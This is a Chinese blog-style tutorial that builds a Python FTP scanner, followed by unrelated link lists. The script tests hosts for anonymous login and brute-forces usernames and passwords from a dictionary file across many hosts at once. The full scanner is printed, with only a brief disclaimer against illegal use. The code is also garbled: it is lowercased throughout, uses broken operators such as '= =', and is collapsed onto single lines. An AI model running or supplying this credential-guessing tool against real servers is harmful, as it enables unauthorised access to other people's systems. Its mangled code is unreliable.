Python实现FTP弱口令扫描器的方法示例(Python实现FTP弱口令扫描器的方法示例)
Python实现FTP弱口令扫描器的方法示例
Python实现FTP弱口令扫描器的方法示例ftp服务器
ftp服务器是在互联网上提供文件存储和访问服务的计算机,它们依照ftp协议提供服务。ftp是file transfer protocol(文件传输协议)的缩写。顾名思义,就是专门用来传输文件的协议,简单地说,支持ftp协议的服务器就是ftp服务器
ftp是仅基于tcp的服务,不支持udp(想想也是,传输文件,肯定要稳定可靠,建立连接,所以不支持udp)。与众不同的是ftp使用2个端口,一个数据端口,一个命令端口(也叫控制端口)。通常来说这两个端口分别是21(命名端口)和20(数据端口)。但由于ftp工作方式的不同,数据端口并不总是20.这就是主动与被动ftp的最大不同之处。
- 主动ftp
ftp服务器的控制端口是21,数据端口是20,所以在做静态映射的时候只需开放21端口即可,他会用20端口和客户端主动发起连接
- 被动ftp
服务器的控制端口是21,数据端口是随机的,且是客户端去连接对应的数据端口,所以在做静态映射的话只开放21端口不可以的
ftp扫描的实现方案
扫描匿名ftp
ftp匿名登陆的扫描主要应用与批量扫描中,单独针对一个ftp服务器进行扫描的话成功率比较小。很多网站都开放ftp服务方便用户下载资源(这个允许匿名登陆不足为奇),更疯狂的是网站管理人员为了方便网站访问软件的更新也开放了ftp匿名登陆,这样就给了我们很多机会,尤其后者的服务器很容易受到攻击
扫描ftp弱口令
弱口令扫描其实就是暴力破解,不过我们只是扫描一些简单的密码组合,并不是所有可能的密码组合
步骤
ftp匿名扫描器的实现
这里需要用到python的 ftplib 库中的ftp这个类,这个类实现了ftp客户端的大多数功能,比如连接ftp服务器、查看服务器中的文件、上传、下载文件等功能,详细用法可以查看api,接下来我们首先定义 anonscan(hostname) 这个函数以实现扫描可匿名登陆的ftp服务器。代码如下:
|
def anonscan(hostname): # 参数是主机名 try : with ftp(hostname) as ftp: # 创建ftp对象 ftp.login() # ftp匿名登陆 print ( "\n[*]" + str (hostname) + " ftp anonymous login successful!" ) return true except exception as e: # 抛出异常表示匿名登陆失败 print ( "\n[-]" + str (hostname) + " ftp anonymous login failure!" ) return false |
代码很简短,注释也写的很清楚。这里还是说一下函数的思路,首先用主机名构造了一个ftp对象(即ftp),然后用ftp调用不带参数的login()函数即表示要匿名登陆这个ftp服务器,如果登陆过程中没有产生异常,则表明匿名登陆成功,否则匿名登陆失败
ftp弱口令的扫描
ftp弱口令扫描依赖于用户名和密码字典,密码字典 下载 ,下载之后我们将其命名为 pwd.txt
接下来针对字典中的格式来实现ftp弱口令扫描,创建代码文件 ftpscanner.py ,代码如下:
|
def vlclogin(hostname, pwdfile): # parameters (hostname, dictionary file) try : with open (pwdfile, 'r' ) as pf: # open dictionary file for line in pf.readlines(): username = line.split( ':' )[ 0 ] # fetch username password = line.split( ':' )[ 1 ].strip( '\r' ).strip( '\n' ) # fetch password print ( '[+] trying: ' + username + ':' + password) try : with ftp(hostname) as ftp: ftp.login(username, password) print ( '\n[+] ' + str (hostname) + ' ftp login successful: ' + \ username + ':' + password) return (username, password) except exception as e: # continue trying other usernames and passwords pass except ioerror as e: print ( 'error: the password file does not exist!' ) print ( '\n[-] cannot crack the ftp password, please change the password dictionary try again!' ) return (none,none) |
这段代码其实就是循环从字典中读取用户名和密码并尝试登陆,登陆成功则表明找到用户名和密码。由于这个函数将主机名定义成了可以用 , 分割的字符串。找到密码并不会终止程序,而是会继续扫描其他主机的弱口令,直到所有的主机都扫描一遍
命令行解析
至此,ftp扫描器几乎已经完成了,现在我们要做的是让我们的脚本可以处理命令行输入,以控制扫描哪些主机。命令行参数我们将用到python中的 argparse 库。
|
parser = argparse.argumentparser(description = 'ftp scanner' ) parser.add_argument( '-h' ,dest = 'hostname' , help = 'the host list with ","space' ) parser.add_argument( '-f' ,dest = 'pwdfile' , help = 'password dictionary file' ) options = none try : options = parser.parse_args() except : print (parser.parse_args([ '-h' ])) exit( 0 ) hostnames = str (options.hostname).split( ',' ) pwdfile = options.pwdfile |
整合全部代码
|
# -*- coding: utf-8 -*- from ftplib import * import argparse import time # anonymous login scan def anonscan(hostname): # the parameter is the host name try : with ftp(hostname) as ftp: # create ftp object ftp.login() # ftp anonymous login print ( "\n[*]" + str (hostname) + " ftp anonymous login successful!" ) return true except exception as e: # throwing an exception indicates that the anonymous login failed print ( "\n[-]" + str (hostname) + " ftp anonymous login failure!" ) return false # brute force def vlclogin(hostname, pwdfile): # parameters (hostname, dictionary file) try : with open (pwdfile, 'r' ) as pf: # open dictionary file for line in pf.readlines(): username = line.split( ':' )[ 0 ] # fetch username password = line.split( ':' )[ 1 ].strip( '\r' ).strip( '\n' ) # fetch password print ( '[+] trying: ' + username + ':' + password) try : with ftp(hostname) as ftp: ftp.login(username, password) print ( '\n[+] ' + str (hostname) + ' ftp login successful: ' + \ username + ':' + password) return (username, password) except exception as e: # continue trying other usernames and passwords pass except ioerror as e: print ( 'error: the password file does not exist!' ) print ( '\n[-] cannot crack the ftp password, please change the password dictionary try again!' ) return (none,none) def main(): parser = argparse.argumentparser(description = 'ftp scanner' ) parser.add_argument( '-h' ,dest = 'hostname' , help = 'the host list with ","space' ) parser.add_argument( '-f' ,dest = 'pwdfile' , help = 'password dictionary file' ) options = none try : options = parser.parse_args() except : print (parser.parse_args([ '-h' ])) exit( 0 ) hostnames = str (options.hostname).split( ',' ) pwdfile = options.pwdfile if hostnames = = [ 'none' ]: print (parser.parse_args([ '-h' ])) exit( 0 ) for hostname in hostnames: username = none password = none if anonscan(hostname) = = true: print ( 'host: ' + hostname + ' can anonymously!' ) elif pwdfile ! = none: (username,password) = vlclogin(hostname,pwdfile) if password ! = none: print ( '\n[+] host: ' + hostname + 'username: ' + username + \ 'password: ' + password) print ( '\n[*]-------------------scan end!--------------------[*]' ) if __name__ = = '__main__' : main() |
测试扫描
至此就可以测试我们的ftp弱口令扫描器了,在命令行中输入
|
python ftpscanner.py - h 127.0 . 0.1 - f pwd.txt |
因为我本地并没有开启ftp服务,所以扫描不成功,大家可以尝试在服务器上开放ftp服务,然后进行测试,绝对不能用于非法用途
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持开心学习网。
原文链接:https://www.wmathor.com/index.php/archives/1188/
- python复杂的验证码处理(Python 通过打码平台实现验证码的实现)
- python用指针合并两个有序数组(Python3实现计算两个数组的交集算法示例)
- pythonsocket教程(python3利用Socket实现通信的方法示例)
- python批量转换图片格式(利用Python对文件夹下图片数据进行批量改名的代码实例)
- python scrapy爬虫教程视频(详解python3 + Scrapy爬虫学习之创建项目)
- python语言翻译中文(浅析Python 实现一个自动化翻译和替换的工具)
- python中list怎么用(详解python中list的使用)
- python用于机器人(python机器人运动范围问题的解答)
- python企业微信录信息(python获取微信企业号打卡数据并生成windows计划任务)
- python零基础入门加密与解密(Python玩转加密的技巧推荐)
- python微信自动化(python微信撤回监测代码)
- python 常用爬虫库(Python常用爬虫代码总结方便查询)
- python ip代理池(Python 实现域名解析为ip的方法)
- python线程池有几种(对python 多线程中的守护线程与join的用法详解)
- python中的insert(python assert的用处示例详解)
- python使用门算法加密文件(python实现可逆简单的加密算法)
- 玩网游居然让人更友善 很难以让人置信(玩网游居然让人更友善)
- 学好汉语拼音,从娃娃绕口令抓起,平时还是要多练 收藏好(从娃娃绕口令抓起)
- 仙女们的私藏鲜法大PK 鲜香切块牛肉(仙女们的私藏鲜法大PK)
- 天热没胃口 这道菜开胃又下饭,2个小技巧新手一学就会(这道菜开胃又下饭)
- 指天椒紫苏爆炒牛肉(指天椒紫苏爆炒牛肉)
- 谷雨前,吃牛羊肉别忘了吃河鲜,除湿还清热,加紫苏一炒特解馋(吃牛羊肉别忘了吃河鲜)
热门推荐
- CSS3 border-radius实现边框圆角
- iframe嵌入页面跨域(使用iframe+postMessage实现页面跨域通信的示例代码)
- 如何挑选云服务器(高质量的美国云服务器选择方法有哪些?)
- mysql查看数据库cpu使用率(CPU 以及内存从哪些方面影响 MySQL 性能?)
- springboot docker教程(在Idea中使用Docker部署SpringBoot项目的详细步骤)
- python中encode中文自定义编码(详解Python解决抓取内容乱码问题decode和encode解码)
- asp.net操作cookie
- vue将弹框抽离成组件(vue3 可拖动的左右面板分割组件实现)
- 面试问vue掌握程度如何回答(面试最常问的13种Vue修饰符)
- 织梦平台如何更新备案号(详解织梦dedecms短信验证码功能阿里短信)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9